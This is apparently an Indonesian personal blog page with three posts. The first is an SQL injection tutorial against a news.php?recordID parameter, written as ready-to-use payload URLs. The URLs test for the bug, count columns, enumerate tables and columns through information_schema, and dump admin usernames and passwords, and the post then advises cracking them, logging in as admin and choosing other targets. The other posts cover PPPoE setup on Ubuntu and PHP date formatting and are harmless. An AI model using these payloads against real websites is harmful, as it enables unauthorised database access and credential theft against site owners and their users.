Minggu, 07 September 2008

SQL Injection Tutorial Melalui recordID

*mysql

Sebelum membaca artikel ini sebaiknya anda membaca artikel tentang
http://juniorsev3n.blogspot.com/2008/07/script-php-from-dreameaver-8.html
karena ini menerangkan bagaimana sql injection ini bisa terjadi.
Saya beri tahu lagi bahwa bug nya terdapat pada
WHERE id=$recordID
untuk id itu tidak selalu id tapi tergantung pada sang webmaster.
Langsung aja.

Langkah pertama adalah mengecek bug tersebut.
dengan memberikan tanda single quote ( ' ) di recordID
Semisal :
news.php?recordID=1'
Nah apabila tampak pesan error berarti kita bisa melanjutkannya.

Langkah kedua adalah mengecek column yang berada di table tersebut
dengan cara menggunakan perintah ORDER BY
Semisal :
news.php?recordID=1+ORDER+BY+1/*
nah apabila nilainya true maka column/field tersebut ada.
artinya kita harus mencari tahu ada berapa nilai yang true !
untuk mencari nilai tinggal ganti saja angka satu tersebut.
Semisal :
news.php?recordID=1+ORDER+BY+2/*
news.php?recordID=1+ORDER+BY+3/*
Nah apabila nilainya masih true berarti column/field itu ada.Dan apabila nilainya
sudah false berarti column/field itu tidak ada.Semisal column/field hanya ada 3 saat kita memasukan angka 4 maka akan muncul pesan error di halaman tersebut.
Note : /* adalah tag comment pada SQL dan kita memakai ini untuk tidak mengaktifkan perintah setelah tag comment.
Lain-lain tag comment : // , -- , # ,etc


Langka ketiga adalah menampilkan column/field yang ditampilkan.
dengan menggunakan perintah UNION ALL SELECT
semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,2,3/*
Q : Mengapa harus menggunakan -1 ?
A : tidak selalu -1 tetapi yang nilainya false.
Nah dengan menggunakan perintah itu maka akan keluar nomor2 di halaman.
Itu menandakan nomor2 itulah yang di outputkan.
Dengan demikian kita menggunakan fungsi2 di nomor2 yang dikeluarkan.
semisal nomor yang dikeluarkan adalah 2 dan 3 . Berarti fungsi2 disimpan di nomor 2 dan 3 atau salah satunya. Kalau kita memasukin di nomor yang tidak ditampilkan maka yang diperintahkan tidak akan keluar.

Langkah selanjutnya adalah memberikan fungsi2 mysql.
dengan memberikan version() , user() , database() ,etc
nah untuk mengecek version mysql masukan fungsi version()
untuk melihat user yang digunakan masukan fungsi user()
untuk melihat nama database yang digunakan masukan fungsi database()
Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,version(),user()/*
Nah di halaman akan menampilkan version mysql dan user nya.
Semisal versionnya 5 keatas dan usernya bebas
Maka kita bisa lanjutkan tetapi apabila versionnya 4 atas 5 kebawah sebaiknya cari target yang lain.
NOTE : apabila usernya root , berbahagialah. karena root adalah user yang tertinggi.Kita bisa menampilkan user2 dan password mysql.
Nah selanjutnya adalah menampilkan table2 yang ada.
NOTE : supaya lebih ringkas kita tampilkan saja table2 yang hanya ada di database
Semisal :
news.php?recorID=-1+UNION+ALL+SELECT+1,group_concat(table_name),3+
FROM+information_schema.tables+WHERE+table_schema=database()/*
group_concat adalah fungsi untuk menampilkan semuanya yang ada di column/field itu.
Anda bisa menggunakan fungsi2 lain sesuai kebutuhan. concat(),concat_ws(),etc.
table_name adalah column/field yang terdapat di table tables.
information_shema adalah database tempat penyimpanan data2 skema.
tables adalah table yang bernama tables tempat penyimpanan nama2 table tersebut.
nah dengan demikian di halaman akan muncul nama2 table yang hanya ada di database saja.
untuk menampilkan semuanya anda hanya perlu menghilangkan WHERE table_schema=database()

Apabila terdapat table2 yang berbau tempat penyimpanan database user/admin anda ingat2 nama table itu atau copy paste saja ke Applications->Aksesoris->Penyunting Berkas Teks
hehe,,promosi dikit [ ubuntu 8.04 ]

Nah apabila sudah mendapatkan nama2 table selanjutnya adalah mencari nama2 column/field.
Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,group_concat(column_name),3+
FROM+information_schema.columns+WHERE+table_schema=database()/*
Nah maka akan menampilkan column/field yang tedapat di database.
Apabila mendapat yang berbau username atau password ya itulah berarti column yang akan kita keluarkan.tetapi apabila sukses dengan menggunakan perintah semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,group_concat(column_name),3+
FROM+information_schema.columns+WHERE+table_name='user'/*
user adalah contoh table tempat penyimpanan data2 user dan password.
Maka akan keluar column yang berada di table user.
Tapi kalo muncul pesan eror sebaiknya guna cara yang tadi.
Nah apabila kita sudah mendapat nama2 column/field dan table langkah selanjutnya adalah mengeluarkan data username dan password admin.

Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,
group_concat(concat(username,0x3a,password)),3+FROM+user/
nah maka akan tampil semua data username dan password di table user
Apabila hasilnya enkripsi anda harus mengcracknya dulu
Apabila password nya bukan enkripsi yang berbahagialah karena tidak usah
cape2 mengcracknya.
Sekarang anda tinggal login ke halaman adminnya.

Ya,,mungkin cukup sekian dulu yang bisa saya tulis
mungkin banyak kesalahan dan kekurangan jadi saya mohon maaf.
Correct Me IF I'm Wrong (CMIIW)
hehe

Salam hangat,
juniorsev3n

Selasa, 02 September 2008

Connection PPPoE at Ubuntu 8.04

AH,,akhirnya bisa juga gw konek di ubuntu
Kali ini pengalaman gw yang secara ngasal2 dan akhirnya bisa
Langsung aja
Cara koneksi PPoE di ubuntu :

pertama masuk network setting

















trus properties yg gambar telepon
nah isi deh textboxnya
dan ini adalah contohnya



















Sesudah setting tersebut kita tinggal konek deh
selese deh...

Salam
juniorsev3n

Minggu, 17 Agustus 2008

Memecah date

Memecah date dalam PHP

memecah date disini adalah pemecahan date dalam database(MySql) yg defaultnya
0000-00-00 ke bentuk [ date() ].misalkan 2008-08-08 menjadi 08 August 2008.
Nah untuk memecah itu kita hanya menggunakan fungsi berikut ini:
-list()
-split(string pattern,string string,[int limit])
-date()
-mktime(int hour,int min,int sec,int mon,int day,int year)
Untuk menggunakan fungsi2 diatas ikuti petunjuknya

misalkan variable date dari databasenya $datefromdb
list($tahun,$bulan,$tanggal) = split('[/.-]',$datefromdb)
okeyz kita jelaskan
list($tahun,$bulan,$tanggal)
itu seperti yg defaultnya mysql (0000-00-00)
0 ke 1 sampai 4 adalah tahun jadi kita memecahnya yg asalnya satu variable menjadi 3 variable
0 ke 5 sampai 6 adalah bulan
0 ke 7 sampai 8 adalah tanggal

masing kita pisahkan dan menjadi 3 variable yaitu $tahun,$bulan,$tanggal
nah untuk mengubahnya memakai fungsi date
misalkan
$date=date("l, F jS, Y h:i a",mktime(0,0,0,$bulan,$tanggal,$tahun));

ketika kita print
akan keluar
Friday, August 15th, 2008 12:00 pm

Nah untuk fungsi date bisa dilihat di situs resmi php
dan inilah diantarnya


format Description Example returned values
character
a Lowercase Ante meridiem and Post meridiem am or pm
A Uppercase Ante meridiem and Post meridiem AM or PM
B Swatch Internet time 000 through 999
d Day of the month, 2 digits with leading zeros 01 to 31
D A textual representation of a day, three letters Mon through Sun
F A full textual representation of a month, such as January or March January through December
g 12-hour format of an hour without leading zeros 1 through 12
G 24-hour format of an hour without leading zeros 0 through 23
h 12-hour format of an hour with leading zeros 01 through 12
H 24-hour format of an hour with leading zeros 00 through 23
i Minutes with leading zeros 00 to 59
I (capital i) Whether or not the date is in daylights savings time 1 if Daylight Savings Time, 0 otherwise.
j Day of the month without leading zeros 1 to 31
l (lowercase 'L') A full textual representation of the day of the week Sunday through Saturday
L Whether it's a leap year 1 if it is a leap year, 0 otherwise.
m Numeric representation of a month, with leading zeros 01 through 12
M A short textual representation of a month, three letters Jan through Dec
n Numeric representation of a month, without leading zeros 1 through 12
O Difference to Greenwich time (GMT) in hours Example: +0200
r RFC 822 formatted date Example: Thu, 21 Dec 2000 16:01:07 +0200
s Seconds, with leading zeros 00 through 59
S English ordinal suffix for the day of the month, 2 characters st, nd, rd or th. Works well with j
t Number of days in the given month 28 through 31
T Timezone setting of this machine Examples: EST, MDT ...
U Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) See also time()
w Numeric representation of the day of the week 0 (for Sunday) through 6 (for Saturday)
W ISO-8601 week number of year, weeks starting on Monday (added in PHP 4.1.0) Example: 42 (the 42nd week in the year)
Y A full numeric representation of a year, 4 digits Examples: 1999 or 2003
y A two digit representation of a year Examples: 99 or 03
z The day of the year 0 through 366
Z Timezone offset in seconds. The offset for timezones west of UTC is always negative, and for those east of UTC is always positive. -43200 through 43200